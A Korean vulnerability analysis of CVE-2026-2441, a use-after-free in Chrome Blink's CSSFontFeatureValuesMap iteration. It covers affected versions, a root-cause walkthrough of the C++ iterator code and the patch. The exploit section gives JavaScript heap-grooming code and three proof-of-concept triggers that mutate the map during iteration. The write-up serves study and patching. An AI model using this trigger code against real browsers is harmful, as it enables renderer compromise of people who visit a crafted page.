[하루한줄] CVE-2026-2441: Chrome Blink CSS Engine에서 발생하는 UAF로 인한 Renderer RCE 취약점
URL
Target
- Windows / macOS (Stable):
< 145.0.7632.75 - Windows / macOS (Extended Stable):
< 144.0.7559.177 - Linux (Stable):
< 144.0.7559.75 - Chromium-based browsers:
Check vendor advisory
Explain
CVE-2026-2441은 Chrome Blink CSS 엔진의 CSSFontFeatureValuesMap 컴포넌트에서 발생하는 use-after-free로 인해 발생하는 Renderer RCE 취약점입니다.
CSSFontFeatureValuesMap를 JS에서 순회하는 도중 set()/ delete()로 같은 맵을 바꾸면, 내부 C++ 반복기가 이미 free된 버퍼를 계속 읽어 use-after-free가 발생합니다. 해당 버그는 특수하게 구성된 HTML/CSS 페이지를 통해, 렌더러 프로세스 내에서 RCE를 유발할 수 있습니다. 공격 후 사용자가 악성 웹 페이지에 접속하기만 해도 추가 상호작용 없이 취약한 CSSFontFeatureValuesMap 반복 로직을 트리거하여 exploit chain을 구성할 수 있습니다.
Root Cause
class FontFeatureValuesMapIterationSource final
: public PairSyncIterable<IDLUSVString, IDLSequence<IDLUnsignedLong>>::IterationSource {
public:
FontFeatureValuesMapIterationSource(const CSSFontFeatureValuesMap& map,
const FontFeatureAliases* aliases)
: map_(map),
aliases_(aliases), // [1]: Keeps a raw pointer to the live backing map.
iterator_(aliases->begin()) {} // [2]: Creates an iterator tied to that live map state.
bool FetchNextItem(ScriptState* script_state,
String& map_key,
Vector<uint32_t>& map_value) override {
if (!aliases_) {
return false;
}
if (iterator_ == aliases_->end()) {
return false;
}
map_key = iterator_->key; // [3]: May dereference an invalid iterator after mutation.
map_value = iterator_->value.indices;// [4]: May read from freed backing storage after rehash.
++iterator_;
return true;
}
void Trace(Visitor* visitor) const override {
visitor->Trace(map_);
PairSyncIterable<IDLUSVString,
IDLSequence<IDLUnsignedLong>>::IterationSource::Trace(visitor);
}
private:
const Member<CSSFontFeatureValuesMap> map_;
const FontFeatureAliases* aliases_;
FontFeatureAliases::const_iterator iterator_; // [5]: Becomes invalid if the map is mutated during iteration.
};
취약한 지점은 Blink 엔진 소스 코드에서 FontFeatureValuesMapIterationSource 클래스의 구현부에서 발생하였습니다. [1], [2], [5]가 결합되면서 취약점이 완성됩니다.
const FontFeatureAliases* aliases_; // [1]
소스 코드에서 취약한 지점을 살펴보면, 먼저 [1]에서 aliases_는 CSSFontFeatureValuesMap 내부의 실제 HashMap 인스턴스를 가리키는 포인터입니다. 즉, 라이브 컨테이너에 대한 직접 참조라서 JS에서 map.set() / map.delete()로 내부 FontFeatureAliases가 rehash되면, 이 포인터가 더이상 유효하지 않게 되며, dangling pointer가 될 가능성이 생깁니다.
FontFeatureValuesMapIterationSource(const CSSFontFeatureValuesMap& map,
const FontFeatureAliases* aliases)
: map_(map),
aliases_(aliases),
iterator_(aliases->begin()) {} // [2]
[2] 생성자에서는 iterator_를 aliases→begin()으로 초기화하고 있는데, Blink의 HashMap과 같은 C++ 컨테이너에서 iterator는 재할당(rehash)시에 대부분 무효화됩니다. 그런데 이 iterator를 멤버로 들고 있고, 이후 JS에서 일어나는 모든 mutation에 대해 아무런 재검증이나 재생성 없이 사용하고 있기 때문에, 재할당 이후에도 예전 iterator을 계속 사용하게 됩니다.
bool FetchNextItem(... ) override {
if (!aliases_) {
return false;
}
if (iterator_ == aliases_->end()) {
return false; // [3_before]
}
map_key = iterator_->key; // [3]
map_value = iterator_->value.indices; // [4]
++iterator_;
return true;
}
또한 FetchNextItem()에서 iterator의 유효성 검사는 [3before]의 `iterator == aliases_->end()` 비교에만 의존합니다.
즉, end에 도달했는지만 확인할 뿐, 이 iterator가 여전히 해당 컨테이너에 속해 있는지는 검증하지 않습니다. 그 결과 iterator_가 이미 free된 영역을 가리키는 상태여도 iterator_ == aliases_->end()는 false가 될 수 있고, 아래 dereference로 그대로 진입하게 됩니다.
map_key = iterator_->key; // [3]
map_value = iterator_->value.indices; // [4]
use-after-free가 터지는 부분을 확인해보면, JS가 map.delete() / map.set()으로 FontFeatureAliases에 rehash를 유도하면, 이전 해시 버킷 스토리지는 free되고, iterator_는 여전히 이전 스토리지를 가리키게 됩니다. 이 상태에서 iterator_→key[3] / iterator_→value.indices [4]를 읽으면, 이미 해제된 메모리를 읽게되는 UAF가 발생합니다.
exploit
PoC는 공통적으로 CSSFontFeatureValuesMap에 대해 하나의 iterator를 만든 뒤, 그 iterator를 사용하는 도중에 같은 맵에 대해 delete와 512회의 set 반복을 통해 내부 FontFeatureAliases HashMap이 rehash(재할당)되도록 만들고, 그 상태에서 여전히 옛 버퍼를 가리키는 C++ iterator를 통해 엔트리를 읽으면서 UAF를 일으킵니다.
const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);
for (let i = 0; i < 50; i++) {
groomStyle.sheet.insertRule(
`@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
groomStyle.sheet.cssRules.length
);
groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] " + groomRules.length + " groom objects created.", "ok");
먼저 세 방법 모두 앞단에서 동일 크기의 @font-feature-values 규칙 50개를 반복적으로 할당해 heap grooming을 수행하고, 이를 통해 CSSFontFeatureValuesMap과 관련 객체들이 예측 가능한 힙 레이아웃에 놓이도록 합니다.
Method 1: entries() Iterator + Mutation Loop
const iterator = map.entries();
while (step < 20) {
iterator.next(); // read through (now dangling) pointer
map.delete(key); // trigger rehash
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // force reallocation
}
이후 첫 번째 방법에서는 const iterator = map.entries()로 얻은 iterator에 대해 iterator.next() → map.delete(key) → 512×map.set("spray_i", [i])를 루프에서 반복해, entries() 기반 iterator가 무효화된 뒤에도 계속 사용되도록 만듭니다.
Method 2: for...of + Concurrent Mutation
for (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
두 번째 방법에서는 for (const [k, v] of map) 구문 안에서 매 스텝마다 map.delete(k)와 512×map.set("alt_i", [i])를 수행해, for…of가 내부적으로 사용하는 iterator가 rehash 이후 freed 스토리지를 읽게 만듭니다.
Method 3: requestAnimationFrame + Layout Recalc
function rafTrigger() {
document.body.offsetWidth; // force layout recalc
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
세 번째 방법은 requestAnimationFrame 콜백 안에서 document.body.offsetWidth로 강제 레이아웃 계산을 한 직후 iterator.next()를 호출하고, 이어서 map.delete(k)와 512×map.set("raf_i", [i])를 수행한 뒤 다시 rAF로 자기 자신을 등록하여, 실제 렌더링 타이밍과 섞인 환경에서도 같은 iterator invalidation UAF를 안정적으로 재현할 수 있도록 하였습니다.
Patch
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
패치에서는 포인터 대신 값 자체를 멤버로 들도록 바꿔서, iterator가 생성될 때 HashMap 내용을 통째로 복사해 두고 그 복사본 위에서만 순회하게 만들어 dangling pointer가 생기는 것을 방지했습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.